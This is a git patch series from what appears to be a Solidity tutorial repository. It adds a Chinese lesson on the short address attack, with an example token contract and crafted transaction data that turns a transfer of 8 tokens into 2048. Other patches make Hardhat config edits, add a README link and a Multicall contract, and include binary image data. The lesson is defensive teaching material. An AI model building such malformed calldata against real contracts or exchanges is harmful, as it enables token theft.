From 4ae518cad2aaa75587af4b8405c9d0a4e4b7d91e Mon Sep 17 00:00:00 2001 From: zhaogedeng Date: Sat, 3 Dec 2022 15:20:59 +0800 Subject: [PATCH 01/46] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E5=90=88=E7=BA=A6?= =?UTF-8?q?=E5=AE=89=E5=85=A8S13.=E7=9F=AD=E5=9C=B0=E5=9D=80=E6=94=BB?= =?UTF-8?q?=E5=87=BB?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- S13_ShortAddressAttack/ShortAddressAttack.sol | 25 +++ S13_ShortAddressAttack/readme.md | 142 ++++++++++++++++++ 2 files changed, 167 insertions(+) create mode 100644 S13_ShortAddressAttack/ShortAddressAttack.sol create mode 100644 S13_ShortAddressAttack/readme.md diff --git a/S13_ShortAddressAttack/ShortAddressAttack.sol b/S13_ShortAddressAttack/ShortAddressAttack.sol new file mode 100644 index 000000000..dc698db23 --- /dev/null +++ b/S13_ShortAddressAttack/ShortAddressAttack.sol @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.17; + +contract Coin { + address owner; + mapping (address => uint256) public balances; + + modifier OwnerOnly() { + require(msg.sender == owner); _; + } + + function ICoin() public { + owner = msg.sender; + } + + function approve(address _to, uint256 _amount) public OwnerOnly { + balances[_to] += _amount; + } + + function transfer(address _to, uint256 _amount) public { + require(balances[msg.sender] > _amount); + balances[msg.sender] -= _amount; + balances[_to] += _amount; + } +} \ No newline at end of file diff --git a/S13_ShortAddressAttack/readme.md b/S13_ShortAddressAttack/readme.md new file mode 100644 index 000000000..fbe2e7a6c --- /dev/null +++ b/S13_ShortAddressAttack/readme.md @@ -0,0 +1,142 @@ +--- +title: S13. 短地址攻击 +tags: + - solidity + - security +--- + +# WTF Solidity 合约安全: S13. 短地址攻击 + +我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 + +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +社区:[Discord](https://discord.wtf.academy)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) + +所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +这一讲,我们将介绍短地址攻击(Short Address Attack)。 + +## 什么是短地址攻击? + +短地址攻击的原理是利用 EVM 在参数长度不够时自动在右方补 0 的特性,通过去除钱包地址末位的 0,达到将转账金额左移放大的效果。 + +一般ERC-20 TOKEN (令牌) 标准的代币都会实现 transfer (转移) 方法,这个方法在ERC-20标签中的定义为: + +```solidity +function transfer(address to, uint tokens) public returns (bool success); +``` + +第一参数是发送代币的目的地址,第二个参数是发送 token (令牌) 的数量。 + +当我们调用 transfer (转移) 函数向某个地址发送N个ERC-20代币的时候,交易的input数据分为3个部分: + +4 字节,是方法名的哈希:a9059cbb + +32字节,放以太坊地址,目前以太坊地址是20个字节,高危补0 + +```solidity +000000000000000000000000abcabcabcabcabcabcabcabcabcabcabcabcabca +``` + +32字节,是需要传输的代币数量,这里是1*10^18 GNT + +```solidity +0000000000000000000000000000000000000000000000000de0b6b3a7640000 +``` + +所有这些加在一起就是交易数据: + +```solidity +a9059cbb000000000000000000000000abcabcabcabcabcabcabcabcabcabcabcabcabca0000000000000000000000000000000000000000000000000de0b6b3a7640000 +``` + +当调用 transfer (转移) 方法提币时,如果允许用户输入了一个短地址,这里通常是交易所这里没有做处理,比如没有校验用户输入的地址长度是否合法。 + +如果一个以太坊地址如下,注意到结尾为0: + +```solidity +0x1234567890123456789012345678901234567800 +``` + +当我们将后面的00省略时,EVM会从下一个参数的高位拿到00来补充,这就会导致一些问题了。 + +这时, token (令牌) 数量参数其实就会少了1个字节,即token数量左移了一个字节,使得合约多发送很多代币出来。 + +## 漏洞合约例子 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity 0.8.17; + +contract Coin { + address owner; + mapping (address => uint256) public balances; + + modifier OwnerOnly() { + require(msg.sender == owner); _; + } + + function ICoin() public { + owner = msg.sender; + } + + function approve(address _to, uint256 _amount) public OwnerOnly { + balances[_to] += _amount; + } + + function transfer(address _to, uint256 _amount) public { + require(balances[msg.sender] > _amount); + balances[msg.sender] -= _amount; + balances[_to] += _amount; + } +} +``` + +具体代币功能的合约 Coin (硬币) ,当 A 账户向 B 账户转代币时调用 transfer() 函数,例如 A 账户(`0x14723a09acff6d2a60dcdf7aa4aff308fddc160c`)向 B 账户(`0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db`)转 8 个 Coin (硬币) ,msg.data 数据为: + +``` +0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) 函数签名 +0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d2db -> B 账户地址(前补 0 补齐 32 字节) +0000000000000000000000000000000000000000000000000000000000000008 -> 0x8(前补 0 补齐 32 字节) +``` + +那么短地址攻击是怎么做的呢,攻击者找到一个末尾是 00 账户地址,假设为 `0x4b0897b0513fdc7c541b6d9d7e929c4e5364d200`,那么正常情况下整个调用的 msg.data 应该为: + +``` +0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) 函数签名 +0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d200 -> B 账户地址(注意末尾 00) +0000000000000000000000000000000000000000000000000000000000000008 -> 0x8(前补 0 补齐 32 字节) +``` + +但是如果我们将 B 地址的 00 吃掉,不进行传递,也就是说我们少传递 1 个字节变成 4+31+32: + +``` +0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) 函数签名 +0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d2 -> B 地址(31 字节) +0000000000000000000000000000000000000000000000000000000000000008 -> 0x8(前补 0 补齐 32 字节) +``` + +当上面数据进入 EVM 进行处理时,对参数进行编码对齐后补 00 变为: + +``` +0xa9059cbb +0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d200 +0000000000000000000000000000000000000000000000000000000000000800 +``` + +也就是说,恶意构造的 msg.data 通过 EVM 解析补 0 操作,导致原本 0x8 = 8 变为了 0x800 = 2048。 + +## `Remix` 复现 + +因为客户端会检查地址长度,目前不能通过 Remix 复现;也不能通过 sendTransaction(),因为 web3 中也加了保护, 不过可以使用 geth 搭建私链,使用 sendRawTransaction() 发送交易复现。 + +## 预防办法 + +1. 目前主要依靠客户端主动检查地址长度来避免该问题,另外 web3 层面也增加了参数格式校验。 + +## 总结 + +这一讲,我们介绍了以太坊短地址攻击,由于目前普遍拥有地址检查,虽然 EVM 层仍然可以复现,但是在实际应用场景中基本没有问题。 From 989b5a57bfe9c0612d2031c8aa6722648cb7adfd Mon Sep 17 00:00:00 2001 From: kakalota Date: Tue, 13 Jun 2023 16:31:55 +0800 Subject: [PATCH 02/46] update hardhat --- Topics/Tools/TOOL06_Hardhat/hardhat.config.js | 3 +++ Topics/Tools/TOOL06_Hardhat/readme.md | 16 +++++++++++++++- 2 files changed, 18 insertions(+), 1 deletion(-) diff --git a/Topics/Tools/TOOL06_Hardhat/hardhat.config.js b/Topics/Tools/TOOL06_Hardhat/hardhat.config.js index f5e3369c3..46f1e035c 100644 --- a/Topics/Tools/TOOL06_Hardhat/hardhat.config.js +++ b/Topics/Tools/TOOL06_Hardhat/hardhat.config.js @@ -8,4 +8,7 @@ module.exports = { accounts: ["PRIVATE_KEY"], }, }, + etherscan: { + apiKey: "YOUR_ETHERSCAN_API_KEY", + }, }; diff --git a/Topics/Tools/TOOL06_Hardhat/readme.md b/Topics/Tools/TOOL06_Hardhat/readme.md index 93339a379..fce059b76 100644 --- a/Topics/Tools/TOOL06_Hardhat/readme.md +++ b/Topics/Tools/TOOL06_Hardhat/readme.md @@ -265,6 +265,8 @@ npx hardhat run --network hardhat scripts/deploy.js [点击申请](https://goerlifaucet.com/) 登录alchemy账号每天可以领取0.2个代币 3. 导出私钥 因为需要把合约部署到Goerli测试网络,所以该测试账号中留有一定的测试代币。导出已有测试代币的账户的私钥,用于部署合约 +4. 申请 etherscan 的 api key,用于验证合约 +[点击申请](https://etherscan.io/myapikey) ### 配置网络 @@ -285,6 +287,9 @@ const ALCHEMY_API_KEY = "KEY"; //注意:永远不要把真正的以太放入测试帐户 const GOERLI_PRIVATE_KEY = "YOUR GOERLI PRIVATE KEY"; +// 申请etherscan的api key +const ETHERSCAN_API_KEY = "YOUR_ETHERSCAN_API_KEY"; + module.exports = { solidity: "0.8.9", // solidity的编译版本 networks: { @@ -292,7 +297,10 @@ module.exports = { url: `https://eth-goerli.alchemyapi.io/v2/${ALCHEMY_API_KEY}`, accounts: [GOERLI_PRIVATE_KEY] } - } + }, + etherscan: { + apiKey: ETHERSCAN_API_KEY, + }, }; ``` @@ -318,6 +326,12 @@ npx hardhat run --network goerli scripts/deploy.js 同理你也可以配置多个网络,比如`mainnet`,`rinkeby`等。 +最后验证你的合约: + +```shell +npx hardhat verify --network goerli DEPLOYED_CONTRACT_ADDRESS "Constructor argument 1" +``` + ## 总结 From 39dd1bf5ef38d98a17df26ab5b58f703f155964e Mon Sep 17 00:00:00 2001 From: Yanbo Wang Date: Mon, 19 Jun 2023 20:50:16 +0800 Subject: [PATCH 03/46] feat(README.md):Add Solidity By Example Chinese Version. --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index ff85f3cdf..c599cd6b9 100644 --- a/README.md +++ b/README.md @@ -237,9 +237,10 @@ ## 参考 - [Solidity 官方文档](https://docs.soliditylang.org/en/v0.8.17/) - [Solidity By Example](https://solidity-by-example.org/) + - [中文版](https://github.com/Web3-Club/solidity-by-example_Chinese) - [OpenZeppelin Contract](https://github.com/OpenZeppelin/openzeppelin-contracts) - [solmate](https://github.com/transmissions11/solmate) - [Chainlink Docs](https://docs.chain.link/) - [Safe Contracts](https://github.com/safe-global/safe-contracts) - [DeFi Hack Labs](https://github.com/SunWeb3Sec/DeFiHackLabs) -- [rekt news](https://rekt.news/zh/) \ No newline at end of file +- [rekt news](https://rekt.news/zh/) From 267005dec3d759d3f173c556a7bc24808aa6dc34 Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Thu, 22 Jun 2023 17:35:00 +0800 Subject: [PATCH 04/46] update 55 MultiCall --- 55_MultiCall/MCERC20.sol | 11 +++ 55_MultiCall/MultiCall.sol | 37 ++++++++++ 55_MultiCall/img/55-1.png | Bin 0 -> 38491 bytes 55_MultiCall/img/55-2.png | Bin 0 -> 98381 bytes 55_MultiCall/readme.md | 136 +++++++++++++++++++++++++++++++++++++ README.md | 2 + 6 files changed, 186 insertions(+) create mode 100644 55_MultiCall/MCERC20.sol create mode 100644 55_MultiCall/MultiCall.sol create mode 100644 55_MultiCall/img/55-1.png create mode 100644 55_MultiCall/img/55-2.png create mode 100644 55_MultiCall/readme.md diff --git a/55_MultiCall/MCERC20.sol b/55_MultiCall/MCERC20.sol new file mode 100644 index 000000000..3da8a9c69 --- /dev/null +++ b/55_MultiCall/MCERC20.sol @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract MCERC20 is ERC20{ + constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){} + + function mint(address to, uint amount) external { + _mint(to, amount); + } +} \ No newline at end of file diff --git a/55_MultiCall/MultiCall.sol b/55_MultiCall/MultiCall.sol new file mode 100644 index 000000000..6f176a1ad --- /dev/null +++ b/55_MultiCall/MultiCall.sol @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +contract Multicall { + // Call结构体,包含目标合约target,是否允许调用失败allowFailure,和call data + struct Call { + address target; + bool allowFailure; + bytes callData; + } + + // Result结构体,包含调用是否成功和return data + struct Result { + bool success; + bytes returnData; + } + + /// @notice 将多个调用(支持不同合约/不同方法/不同参数)合并到一次调用 + /// @param calls Call结构体组成的数组 + /// @return returnData Result结构体组成的数组 + function multicall(Call[] calldata calls) public returns (Result[] memory returnData) { + uint256 length = calls.length; + returnData = new Result[](length); + Call calldata calli; + + // 在循环中依次调用 + for (uint256 i = 0; i < length; i++) { + Result memory result = returnData[i]; + calli = calls[i]; + (result.success, result.returnData) = calli.target.call(calli.callData); + // 如果 calli.allowFailure 和 result.success 均为 false,则 revert + if (!(calli.allowFailure || result.success)){ + revert("Multicall: call failed"); + } + } + } +} \ No newline at end of file diff --git a/55_MultiCall/img/55-1.png b/55_MultiCall/img/55-1.png new file mode 100644 index 0000000000000000000000000000000000000000..cc5424e376beeb92cdae31ab1ec8786d1e8e34ae GIT binary patch literal 38491 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%0DZ~nR-%x8*Wq|k0_F3)`S_#a^z$^Y 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 